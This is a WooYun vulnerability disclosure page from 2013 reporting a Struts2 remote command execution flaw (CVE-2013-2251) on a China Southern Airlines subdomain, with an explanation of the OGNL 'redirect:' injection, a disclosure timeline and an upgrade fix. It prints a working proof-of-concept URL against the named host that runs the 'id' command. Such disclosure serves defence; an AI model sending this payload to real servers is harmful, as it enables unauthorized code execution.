当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-030780

漏洞标题:中国南航分站远程命令执行漏洞

相关厂商:中国南航

漏洞作者: dreamk

提交时间:2013-07-18 12:56

修复时间:2013-09-01 12:56

公开时间:2013-09-01 12:56

漏洞类型:命令执行

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-18: 细节已通知厂商并且等待厂商处理中
2013-07-22: 厂商已经确认,细节仅向厂商公开
2013-08-01: 细节向核心白帽子及相关领域专家公开
2013-08-11: 细节向普通白帽子公开
2013-08-21: 细节向实习白帽子公开
2013-09-01: 细节向公众公开

简要描述:

Apache Struts2 新远程命令执行漏洞,CVE ID: CVE-2013-2251

详细说明:

Struts 2 的 DefaultActionManager 支持一种简单的导航机制,这种机制接收客户端提交(GET和POST,不包括COOKIE)的参数来进行页面的导航,参数格式为:关键字+冒号(半角)+OGNL表达式,关键字有action、redirect、redirectAction。设计此机制的目的是为了向表单中的按钮添加导航信息。
在 2.3.15.1 以前的版本中,服务器端并未对这种导航机制传递给服务端的OGNL表达式进行安全过滤。因此,攻击者就可以构造一个恶意的 OGNL 表达式,从而能够在服务器端执行任意代码。

漏洞证明:

执行id命令,以下是验证链接

http://skypearl.csair.com/skypearl/cn/loginPage.action?redirect:%25{new%20java.lang.StringBuffer().append(new%20java.io.BufferedReader(new%20java.io.InputStreamReader(new+java.lang.ProcessBuilder({'id'}).start().getInputStream())).readLine())}

修复方案:

厂商已经提供新版本,请升级Struts到2.3.15.1及以上版本。

版权声明:转载请注明来源 dreamk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2013-07-22 22:54

厂商回复:

最新状态:

暂无